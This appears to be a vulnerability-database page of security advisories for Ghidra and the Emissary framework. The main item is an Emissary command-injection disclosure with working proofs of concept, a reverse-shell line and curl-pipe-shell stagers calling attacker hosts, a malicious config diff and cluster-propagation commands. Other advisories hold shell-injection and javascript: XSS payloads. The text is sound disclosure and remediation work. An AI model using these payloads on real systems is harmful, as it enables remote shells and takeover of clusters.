-Infinity
0

Vendor Risk Score

See how nsa compares to other vendors in security performance

View Risk Score →
Severity
6.8
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Ghidra before 12.1.4 fails to validate the TYPECOL byte in OptionsDB.createUnregisteredOption(), causing an ArrayIndexOutOfBoundsException that leaves domain objects permanently locked. Attackers can craft a malicious program database file that, when imported, causes the application to stall and prevents resource cleanup or graceful shutdown.

First published (updated )
Severity
6.7
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Ghidra before 12.1.1 contains an uncontrolled memory allocation vulnerability in the Mach-O binary parser that allows attackers to cause denial of service. An attacker can supply a crafted Mach-O binary with an arbitrarily large ncmds load command count value, forcing the parser to allocate excessive heap memory without validating file size, crashing the Ghidra JVM.

First published (updated )
Severity
8.7
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Ghidra before 12.1 contains a SQL injection vulnerability in BSim filter types that concatenate user-supplied values directly into SQL queries without escaping or parameterization. Remote attackers can inject arbitrary SQL via the BSim network query protocol to read, modify, or delete data in the PostgreSQL database.

First published (updated )
Severity
4.6
Use After Free
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Ghidra before 12.1 contains a heap-use-after-free vulnerability in the decompiler's HighVariable::merge() function during the variable merging pass. Attackers can trigger this vulnerability by crafting a binary that causes stale pointers in the HighIntersectTest::highedgemap cache to be dereferenced, reading and writing the flags field of freed heap memory when a user opens the binary in Ghidra's decompiler view.

First published (updated )
Severity
6.3
Path Traversal
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L

Ghidra before 12.2 contains an unauthenticated path traversal vulnerability in the IsfServer that accepts TCP connections and passes client-supplied namespace strings directly to filesystem operations without validation. Remote attackers can connect to port 54321 and send crafted protobuf messages with traversal sequences to enumerate filesystem paths and probe arbitrary files.

First published (updated )
Severity
8.4
Path Traversal
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Ghidra before 12.0.4 contains a path traversal vulnerability in the theme import functionality that allows attackers to write files outside the intended theme directory. Attackers can craft malicious theme ZIP files with traversal sequences in filenames to execute arbitrary code or modify sensitive files like .bashrc or .ssh/authorizedkeys.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Ghidra before 12.1 contains an authentication bypass vulnerability in PKIAuthenticationModule.authenticate() that allows any user with a valid CA-signed certificate to impersonate other users by presenting their public certificate with a null signature. Attackers can escalate privileges, modify repository access controls, exfiltrate shared reverse engineering databases, and permanently compromise server integrity.

First published (updated )
Severity
6.7
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Ghidra before 12.0.3 contains an out-of-memory vulnerability in the rustdemangle function that allocates unbounded output buffers without size limits. Attackers can craft malicious Rust symbol names in binaries to trigger exponential memory allocation, causing process crashes during binary analysis.

First published (updated )
Severity
8.4
Path Traversal
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Ghidra before 12.0.2 contains a path traversal vulnerability in the extension installer that fails to validate ZIP entry names during extraction. Attackers can craft malicious extensions with traversal sequences like ../ in filenames to write arbitrary files outside the intended directory, enabling code execution.

First published (updated )
Severity
8.6
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Ghidra before 12.1 contains an unsafe deserialization vulnerability in client-side Shared-Project RMI connection code that allows unauthenticated remote code execution. Attackers can craft a malicious project file with a ghidra:// URL that, when opened via File → Open Project, deserializes untrusted objects using a Jython 2.7.4 gadget chain to execute arbitrary commands.

First published (updated )
Severity
8.4
Command Injection
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Ghidra before 12.1 contains a command injection vulnerability in URL annotation handling on Windows where cmd.exe metacharacters are not properly escaped. Attackers can execute arbitrary commands under the Ghidra user's privileges by embedding malicious URLs in program comments that victims click.

First published (updated )
Severity
8.7
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Ghidra 11.0 before 12.1 contains a SQL injection vulnerability in the changePassword() method of PostgresFunctionDatabase that fails to escape double quotes in usernames interpolated into ALTER ROLE statements. Authenticated attackers can inject SQL commands via crafted username parameters in PasswordChange network messages to escalate to PostgreSQL superuser privileges and gain full database control.

First published (updated )
Severity
4.6
Path Traversal
AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Ghidra before 12.1 contains a path traversal vulnerability in SameDirDebugInfoProvider that fails to validate filenames from ELF binary .gnudebuglink sections before constructing file paths. Attackers can craft malicious ELF binaries with traversal sequences to probe filesystem existence and leak CRC32 hashes of arbitrary files during automatic DWARF analysis.

First published (updated )
Severity
6.9
Use After Free
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

Ghidra before 12.1 contains a heap-use-after-free vulnerability in SleighBuilder::generatePointerAdd caused by iterator invalidation when PcodeCacher::allocateInstruction reallocates the issued vector. Attackers can trigger memory corruption by decompiling malicious binaries through the public Sleigh::oneInstruction C++ API, affecting downstream SLEIGH library consumers.

First published (updated )
Severity
6.7
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Ghidra 10.2 before 12.1 contains an uncontrolled resource consumption vulnerability in ExportTrie.parseTrie() that lacks cycle detection when traversing Mach-O binary export tries. A crafted Mach-O binary with circular references in the export trie causes unbounded queue growth and exponential string concatenation, triggering OutOfMemoryError that crashes the entire JVM and loses all unsaved work.

First published (updated )
Severity
2.1
Use After Free
AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Ghidra before 11.2 contains a use after free vulnerability in the Sleigh backend caused by undefined static initialization order of the SleighArchitecture::translators and XmlArchitectureCapability singletons. Attackers can trigger an infinite loop or denial of service during shutdown by exploiting the unsafe destruction order that causes iteration over deallocated memory.

First published (updated )
Severity
5.5
EPSS
0.01%
XEE
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

A vulnerability in GRASSMARLIN v3.2.1 allows crafted session data to trigger improper handling of XML input, which may result in unintended exposure of sensitive information. The flaw stems from insufficient hardening of the XML parsing process.

First published (updated )
Severity
8.8
OS Command Injection, Command Injection, Input Validation
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

Executrix.getCommand() constructs shell commands by substituting temporary file paths directly into a /bin/sh -c string with no escaping. The INFILEENDING and OUTFILEENDING configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.

This is a framework-level defect — Executrix provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.

---

Root Cause

Step 1 — INFILEENDING flows into temp path construction without validation

TempFileNames.java:32-36

java public TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) { base = Long.toString(System.nanoTime()); tempDir = FileManipulator.mkTempFile(tmpDir, placeName); in = base + inFileEnding; // no sanitization out = base + outFileEnding; // no sanitization basePath = tempDir + File.separator + base; inputFilename = basePath + inFileEnding; // injected value lands here outputFilename = basePath + outFileEnding; // and here }

inFileEnding is concatenated directly onto a numeric base to produce inputFilename. No character class, no regex, no escaping.

Step 2 — The injected path is substituted verbatim into a shell string

Executrix.java:1053-1065

java public String[] getCommand(final String[] tmpNames, final String commandArg, final int cpuLimit, final int vmSzLimit) { String c = commandArg; c = c.replaceAll("<INPUTPATH>", tmpNames[INPATH]); // contains inFileEnding verbatim c = c.replaceAll("<OUTPUTPATH>", tmpNames[OUTPATH]); c = c.replaceAll("<INPUTNAME>", tmpNames[IN]); c = c.replaceAll("<OUTPUTNAME>", tmpNames[OUT]);

String ulimitv = ""; if (!SystemUtils.ISOSMAC) { ulimitv = "ulimit -v " + vmSzLimit + "; "; } return new String[] {"/bin/sh", "-c", "ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c}; }

The final array element is passed to /bin/sh -c. Shell metacharacters in any substituted value are interpreted by the shell.

The identical pattern exists in the TempFileNames overload at Executrix.java:1103-1115.

Step 3 — setInFileEnding() and setOutFileEnding() perform no validation

Executrix.java:1176-1196

java public void setInFileEnding(final String argInFileEnding) { this.inFileEnding = argInFileEnding; // accepted as-is }

public void setOutFileEnding(final String argOutFileEnding) { this.outFileEnding = argOutFileEnding; // accepted as-is }

The same absence of validation applies to the INFILEENDING and OUTFILEENDING keys read from configuration at Executrix.java:121-122.

Contrast: placeName is sanitized, file endings are not

The framework already sanitizes placeName using a strict allowlist:

java // Executrix.java:78 protected static final Pattern INVALIDPLACENAMECHARS = Pattern.compile("[^a-zA-Z0-9-]");

// Executrix.java:148-150 protected static String cleanPlaceName(final String placeName) { return INVALIDPLACENAMECHARS.matcher(placeName).replaceAll(""); }

placeName ends up in tmpNames[DIR], which is also embedded in the shell string. The sanitization of placeName demonstrates awareness that these values reach the shell — the omission of equivalent sanitization for inFileEnding and outFileEnding is the defect.

---

Proof of Concept

Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.

---

PoC 1 — Docker: end-to-end attack against a live node

Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.

Environment setup

Put the Dockerfile.poc to contrib/docker/ folder FROM emissary:poc-base

COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/

RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \ && ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \ && mkdir -p /opt/emissary/localoutput \ && mkdir -p /opt/emissary/target/data \ && chmod -R a+rw /opt/emissary \ && chown -R emissary:emissary /opt/emissary \ && rm -f /tmp/.tar.gz

USER emissary WORKDIR /opt/emissary EXPOSE 8001 ENTRYPOINT ["./emissary"] CMD ["server", "-a", "2", "-p", "8001"]

bash Build the distribution tarball mvn -B -ntp clean package -Pdist -DskipTests

Build and start the Docker container docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/ docker run -d --name emissary-poc -p 8001:8001 emissary:poc

Wait for the server to start (~15s), then verify health docker exec emissary-poc sh -c \ 'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"' healthy

Step 1 — Confirm the marker file does not exist

bash docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1' ls: cannot access '/tmp/pwned.txt': No such file or directory

Step 2 — Write the malicious place config

Write emissary.place.UnixCommandPlace.cfg into the server's config directory. The EXECCOMMAND is a benign cat. The injection is entirely in INFILEENDING using backtick command substitution (POSIX-compatible, works on all target OS images):

bash docker exec emissary-poc sh -c "printf \ 'SERVICEKEY = \"LOWERCASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$4000\"\n\ SERVICENAME = \"UCP\"\n\ SERVICETYPE = \"TRANSFORM\"\n\ PLACENAME = \"UnixCommandPlace\"\n\ SERVICECOST = 4000\n\ SERVICEQUALITY = 90\n\ SERVICEPROXY = \"LOWERCASE\"\n\ EXECCOMMAND = \"cat <INPUTPATH>\"\n\ OUTPUTTYPE = \"STD\"\n\ INFILEENDING = \"\\\id > /tmp/pwned.txt\\\\"\n\ OUTFILEENDING = \".out\"\n' \ /opt/emissary/config/emissary.place.UnixCommandPlace.cfg"

Step 3 — Add UnixCommandPlace to places.cfg

bash docker exec emissary-poc sh -c \ 'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \ >> /opt/emissary/config/places.cfg'

Step 4 — Restart the server to load the config

bash docker restart emissary-poc wait for health: 200 docker exec emissary-poc sh -c \ 'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo "ready"'

Startup log confirms the place loaded:

INFO emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!

Step 5 — Drop any file into the pickup directory to trigger processing

bash docker exec emissary-poc sh -c \ 'echo "any data" > /opt/emissary/target/data/InputData/victim.txt'

The Emissary pipeline picks up the file, routes it through UnixFilePlace → ToLowerPlace → UnixCommandPlace (cost 4000, lower than ToUpperPlace at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside getCommand() before cat is even called.

Step 6 — Confirm injection executed

bash sleep 10 # allow pipeline processing time docker exec emissary-poc sh -c 'cat /tmp/pwned.txt'

Live output (verified):

uid=1000(emissary) gid=1000(emissary) groups=1000(emissary)

Assembled shell string at execution time (logged by Emissary at DEBUG level):

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678id > /tmp/pwned.txt

The backtick expression fires as the shell expands the cat argument. The cat itself returns non-zero (no file at that path) but that is irrelevant — the injected command has already run.

Transform history from Emissary logs — confirms UnixCommandPlace ran:

transform history: UNKNOWN.FILEPICKUP.INPUT.http://localhost:8001/FilePickUpPlace$5050 UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050 UNKNOWN.TOLOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010 LOWERCASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000 <-- injection fired here ...

Escalating the payload — reverse shell

Replace the INFILEENDING value. The content is passed verbatim to /bin/sh -c, so any POSIX shell construct works:

properties Reverse shell — POSIX sh compatible (works on Alpine/busybox as well as bash) INFILEENDING = "rm -f /tmp/f; mkfifo /tmp/f; sh -i </tmp/f | nc attacker.example 4444 >/tmp/f"

Curl-based stager (avoids embedding IP in config, works on any image with curl) INFILEENDING = "curl -s http://attacker.example/s.sh | sh"

Both fire on the first payload processed — no further attacker interaction required.

---

PoC 2 — Unit test: isolated, no server required

Exercises the identical code path using only the public Executrix API. Suitable for inclusion in a CI security regression suite.

java package emissary.util.shell;

import org.junit.jupiter.api.Test; import org.junit.jupiter.api.condition.DisabledOnOs; import org.junit.jupiter.api.condition.OS; import org.junit.jupiter.api.io.TempDir;

import java.nio.file.Files; import java.nio.file.Path;

import static org.junit.jupiter.api.Assertions.assertTrue;

/ PoC: INFILEENDING is concatenated into shell paths without escaping, enabling command injection via getCommand(). Mirrors exactly what UnixCommandPlace.runCommandOn() does: TempFileNames names = executrix.createTempFilenames(); String[] cmd = executrix.getCommand(names); executrix.execute(cmd, ...); / @DisabledOnOs(OS.WINDOWS) class ExecutrixShellInjectionPocTest {

@Test void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception { Path marker = tmpDir.resolve("injected");

// Backtick substitution: avoids the Java regex $-group issue in replaceAll() // while still demonstrating the shell executes the injected expression. String payload = "touch " + marker.toAbsolutePath() + "";

Executrix executrix = new Executrix(); executrix.setTmpDir(tmpDir.toString()); executrix.setCommand("cat <INPUTPATH>"); // mirrors UnixCommandPlace default executrix.setInFileEnding(payload); // no validation — accepted as-is

// --- path taken by UnixCommandPlace.runCommandOn() --- TempFileNames names = executrix.createTempFilenames(); String[] cmd = executrix.getCommand(names); // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>touch <marker>"

// Execute — same call as executrix.execute(cmd, outbuf, errbuf) Process proc = Runtime.getRuntime().exec(cmd); proc.waitFor();

assertTrue(Files.exists(marker), "Shell injection succeeded — backtick in INFILEENDING executed.\n" + "Shell string: " + cmd[2]); } }

Assembled shell string:

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890touch /tmp/junit-abc123/injected

The marker file is created by the backtick expression firing during shell argument expansion.

Note on $() vs backticks: String.replaceAll() treats $ in the replacement as a regex group reference, so a $(...) payload causes a java.lang.IllegalArgumentException before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the $ appropriately.

The same injection works via OUTFILEENDING → <OUTPUTPATH> / <OUTPUTNAME>, and via the String[] overload of getCommand() used by MultiFileUnixCommandPlace.

---

Attack Scenarios

Each scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.

---

Scenario A — Insider / developer with config write access

Attacker's starting position: Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.

Why this is realistic: Emissary deployments typically load .cfg files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change — even a code reviewer who can approve their own PR — can inject the payload.

Step 1 — Add the malicious config as a seemingly routine change

In a PR or direct push to the config repo:

diff +++ b/config/emissary.place.UnixCommandPlace.cfg @@ -0,0 +1,10 @@ +SERVICEKEY = "LOWERCASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000" +SERVICENAME = "UCP" +SERVICETYPE = "TRANSFORM" +PLACENAME = "UnixCommandPlace" +SERVICECOST = 4000 +SERVICEQUALITY = 90 +SERVICEPROXY = "LOWERCASE" +EXECCOMMAND = "cat <INPUTPATH>" +OUTPUTTYPE = "STD" +INFILEENDING = "curl -s http://attacker.example/implant.sh | sh" +OUTFILEENDING = ".out"

The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.

Step 2 — Wait for the next deploy

The next routine deploy or restart loads the config. The payload fires on the first payload processed — silently, with no error visible in normal log levels (the place logs a WARN for non-zero exit but does not surface the injected command's output).

Deniability: The .cfg file looks like a misconfigured place. The log entry is Bad execution of commands — a common operational error, not an obvious security event.

---

Scenario B — Cluster-wide propagation via the peers API

Attacker's starting position: RCE on one node (from Scenario A).

Why this is dangerous: Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster's own replication to propagate the malicious config to every peer.

Step 1 — Enumerate all cluster nodes

bash curl -s --digest -u <user>:<password> \ http://compromised-node:8001/api/cluster/peers \ | grep -o '"http://[^"]"'

Response: json {"local":{"host":"node1:8001","places":[...]},"peers":[{"host":"node2:8001",...},{"host":"node3:8001",...}]}

Step 2 — Push the malicious config to each peer via the Emissary API

From the compromised node, use the Emissary cluster API directly — no SSH required. All nodes authenticate each other using the same shared credentials, and the CONFIGDIR path is disclosed by the /api/peers response metadata:

bash From the shell gained in Scenario A PAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)

for peer in node2:8001 node3:8001 node4:8001; do # Write the config file to the peer via its exposed file API # (alternatively: exploit the peer's own pickup directory via the ingest API) curl -s --digest -u <user>:<password> \ -X POST \ -H "Content-Type: text/plain" \ --data-binary "$PAYLOAD" \ "http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg" done

If no config write API is available, the same result is achieved by dropping the payload into the peer's monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) — all of which are common Emissary deployment patterns.

Step 3 — Trigger restart on each peer via the cluster shutdown API

bash for peer in node2:8001 node3:8001 node4:8001; do curl -s --digest -u <user>:<password> \ -X POST -H "X-Requested-By: x" \ http://${peer}/api/shutdown done

Outcome: Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.

Impact

| Dimension | Assessment | |-----------|------------| | Confidentiality | Critical — arbitrary read of files accessible to the Emissary process | | Integrity | Critical — arbitrary file write, process state modification, persistence | | Availability | Critical — process termination, resource exhaustion | | Blast radius | Any place that uses Executrix and calls getCommand(); this includes all subclasses of ExecPlace and any custom place that follows the documented pattern |

---

Recommended Remediation

Primary fix — validate inFileEnding and outFileEnding on assignment

Apply the same allowlist pattern already used for placeName:

java // Add to Executrix.java private static final Pattern VALIDFILEENDING = Pattern.compile("^[a-zA-Z0-9.-]$");

public void setInFileEnding(final String argInFileEnding) { if (!VALIDFILEENDING.matcher(argInFileEnding).matches()) { throw new IllegalArgumentException( "INFILEENDING contains illegal characters: " + argInFileEnding); } this.inFileEnding = argInFileEnding; }

public void setOutFileEnding(final String argOutFileEnding) { if (!VALIDFILEENDING.matcher(argOutFileEnding).matches()) { throw new IllegalArgumentException( "OUTFILEENDING contains illegal characters: " + argOutFileEnding); } this.outFileEnding = argOutFileEnding; }

Apply the same validation inside configure() where the values are read from the Configurator.

Secondary fix (defence-in-depth) — shell-quote substituted values in getCommand()

Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:

java // In getCommand(), wrap each substituted value in single quotes // and escape any embedded single quotes. // Java string "'\\'''" is the four characters: ' \ ' ' // which at runtime produces the shell sequence: '\'' // (close quote, literal single quote, reopen quote) private static String shellQuote(String value) { return "'" + value.replace("'", "'\\''") + "'"; }

// Then: c = c.replace("<INPUTPATH>", shellQuote(tmpNames[INPATH])); c = c.replace("<OUTPUTPATH>", shellQuote(tmpNames[OUTPATH])); c = c.replace("<INPUTNAME>", shellQuote(tmpNames[IN])); c = c.replace("<OUTPUTNAME>", shellQuote(tmpNames[OUT]));

Why this is a framework-level fix

The framework's cleanPlaceName() method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to inFileEnding and outFileEnding is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The configuration API endpoint (/api/configuration/{name}) validated configuration names using a blacklist approach that checked for \, /, .., and trailing .. This could potentially be bypassed using URL-encoded variants, double-encoding, or Unicode normalization to achieve path traversal and read configuration files outside the intended directory.

Details

Vulnerable code — Configs.java (line 126)

java protected static String validate(String config) { if (StringUtils.isBlank(config) || config.contains("\\") || config.contains("/") || config.contains("..") || config.endsWith(".")) { throw new IllegalArgumentException("Invalid config name: " + config); } return Strings.CS.appendIfMissing(config.trim(), CONFIGFILEENDING); }

Weakness

The blacklist blocked literal \, /, .., and trailing . but could potentially miss:

- URL-encoded variants (%2e%2e%2f) if decoded after validation - Double-encoded sequences (%252e%252e%252f) - Unicode normalization bypasses - The approach relies on string matching rather than canonical path resolution

Impact

- Potential read access to configuration files outside the intended config directory - Information disclosure of sensitive configuration values

Remediation

Fixed in PR #1292, merged into release 8.39.0.

The blacklist was replaced with an allowlist regex that only permits characters matching ^[a-zA-Z0-9.-]+$:

java protected static final Pattern VALIDCONFIGNAME = Pattern.compile("^[a-zA-Z0-9.-]+$");

protected static String validate(String config) { if (!VALIDCONFIGNAME.matcher(config).matches() || config.contains("..") || config.endsWith(".")) { throw new IllegalArgumentException("Invalid config name: " + config); } return Strings.CS.appendIfMissing(config.trim(), CONFIGFILEENDING); }

This ensures that any character outside the allowed set — including encoded slashes, percent signs, and Unicode sequences — is rejected before the config name reaches the filesystem.

Tests were added to verify that URL-encoded (%2e%2e%2f), double-encoded (%252e%252e%252f), and Unicode (U+002F) traversal attempts are blocked.

Workarounds

If upgrading is not immediately possible, deploy a reverse proxy or WAF rule that rejects requests to /api/configuration/ containing encoded path traversal sequences.

References

- PR #1292 — validate config name with an allowlist - Original report: GHSA-wjqm-p579-x3ww

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
OS Command Injection
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACENAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, , (, ), etc.) to pass through into /bin/sh -c command execution.

Details

Vulnerable code — Executrix.java

Insufficient sanitization (line 132): java this.placeName = this.placeName.replace(' ', ''); // ONLY replaces spaces — shell metacharacters pass through

Shell sink (line 1052–1058): java protected String[] getTimedCommand(final String c) { return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c}; }

Data flow

1. PLACENAME is read from a configuration file 2. Executrix applies only a space-to-underscore replacement 3. The placeName is used to construct temporary directory paths (tmpNames[DIR]) 4. tmpNames[DIR] is concatenated into a shell command string 5. The command is executed via /bin/sh -c

Example payload

PLACENAME = "test;curl attacker.com/shell.sh|bash;x"

After the original sanitization: test;curlattacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)

Impact

- Arbitrary command execution on the Emissary host - Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)

Remediation

Fixed in PR #1290, merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9-]:

java protected static final Pattern INVALIDPLACENAMECHARS = Pattern.compile("[^a-zA-Z0-9-]");

protected static String cleanPlaceName(final String placeName) { return INVALIDPLACENAMECHARS.matcher(placeName).replaceAll(""); }

This ensures that any shell metacharacter in the PLACENAME configuration value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

Workarounds

If upgrading is not immediately possible, ensure that PLACENAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.

References

- PR #1290 — validate placename with an allowlist - Original report: GHSA-wjqm-p579-x3ww

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
Command Injection, Input Validation
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflowdispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.

Affected Files

| Workflow file | Injection points | |------------------------------------------|------------------| | .github/workflows/maven-version.yml | 4 | | .github/workflows/cherrypick.yml | 5 | | .github/workflows/maven-release.yml | 1 |

Details

GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflowdispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.

Example — maven-version.yml (before fix)

yaml - name: Set the name of the branch run: echo "PRBRANCH=action/${{ github.event.inputs.nextversion }}" >> "$GITHUBENV"

A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the shell, executing arbitrary commands with the job's GITHUBTOKEN permissions (contents: write, pull-requests: write).

Impact

- Arbitrary code execution within the CI/CD runner - Repository modification via the contents: write token (push malicious commits) - Supply chain poisoning — downstream users who clone or build receive compromised code - Credential exfiltration from the GitHub Actions environment

Remediation

Fixed in two PRs merged into release 8.39.0:

PR #1286 — Environment variable indirection

Replaced all direct ${{ inputs. }} interpolation in run: blocks with environment variable indirection. Inputs are assigned to env: at the step level, then referenced as shell variables inside run:.

yaml After (safe — input is never interpreted by the shell parser) - name: Set the name of the branch run: echo "PRBRANCH=action/$INNEXTVERSION" >> "$GITHUBENV" env: INNEXTVERSION: ${{ github.event.inputs.nextversion }}

PR #1288 — Input validation

Added strict regex validation steps that run before any input is used:

- maven-version.yml: Validates nextversion matches ^[a-zA-Z0-9.-]+$ - maven-release.yml: Validates releasesuffix matches ^[a-zA-Z0-9.-]+$ - cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})$

All jobs now also use shell: bash via defaults.run.shell to ensure consistent shell behavior.

Workarounds

There is no workaround other than upgrading. Organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their workflow files.

References

- PR #1286 — environment variable indirection - PR #1288 — input validation - GitHub Security Lab: Keeping your GitHub Actions and workflows secure - Original report: GHSA-wjqm-p579-x3ww

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
XSS
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Summary

Mustache navigation templates interpolated configuration-controlled link values directly into href attributes without URL scheme validation. An administrator who could modify the navItems configuration could inject javascript: URIs, enabling stored cross-site scripting (XSS) against other authenticated users viewing the Emissary web interface.

Details

Vulnerable code — nav.mustache (line 10)

html {{#navItems}} <li class="nav-item"> <a class="nav-link" href="{{link}}">{{display}}</a> </li> {{/navItems}}

The {{link}} value was rendered without any scheme validation. Mustache's default HTML escaping protects against injection of new HTML tags but does not prevent javascript: URIs in href attributes, since javascript: contains no characters that HTML-escaping would alter.

Attack vector

An administrator sets a navigation item's link to: javascript:alert(document.cookie)

Any authenticated user who clicks the navigation link executes the script in their browser context.

Impact

- Session hijacking via cookie theft - Actions performed on behalf of the victim user - Requires administrative access to modify navigation configuration - Requires user interaction (clicking the malicious link)

Mitigating factors

- Exploitation requires administrative access to modify the navItems configuration - User interaction (clicking the link) is required - The Emissary web interface is typically accessed only by authenticated operators within a trusted network

Remediation

Fixed in PR #1293, merged into release 8.39.0.

Server-side link validation — NavAction.java

An allowlist regex was added that only permits http://, https://, or site-relative (/) URLs:

java private static final Pattern VALIDLINK = Pattern.compile("^(https?:/)?/.");

private static boolean isValidLink(String link) { if (!VALIDLINK.matcher(link).matches()) { logger.warn("Skipping invalid navigation link '{}'", link); return false; } return true; }

Invalid links are logged and silently dropped from the rendered navigation.

Template hardening — nav.mustache

Added rel="noopener noreferrer" to all navigation link anchor tags as a defense-in-depth measure:

html <a class="nav-link" href="{{link}}" rel="noopener noreferrer">{{display}}</a>

Tests were added to verify that javascript: and ftp:// URIs are rejected while http://, https://, and site-relative (/path) links are accepted.

Workarounds

If upgrading is not immediately possible, audit the navigation configuration to ensure all navItems link values use only http://, https://, or relative (/) URL schemes.

References

- PR #1293 — validate nav links - Original report: GHSA-wjqm-p579-x3ww

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.05%
OS Command Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Ghidra versions prior to 12.0.3 improperly process annotation directives embedded in automatically extracted binary data, resulting in arbitrary command execution when an analyst interacts with the UI. Specifically, the @execute annotation (which is intended for trusted, user-authored comments) is also parsed in comments generated during auto-analysis (such as CFStrings in Mach-O binaries). This allows a crafted binary to present seemingly benign clickable text which, when clicked, executes attacker-controlled commands on the analyst’s machine.

First published (updated )
Severity
9.8
Command Injection
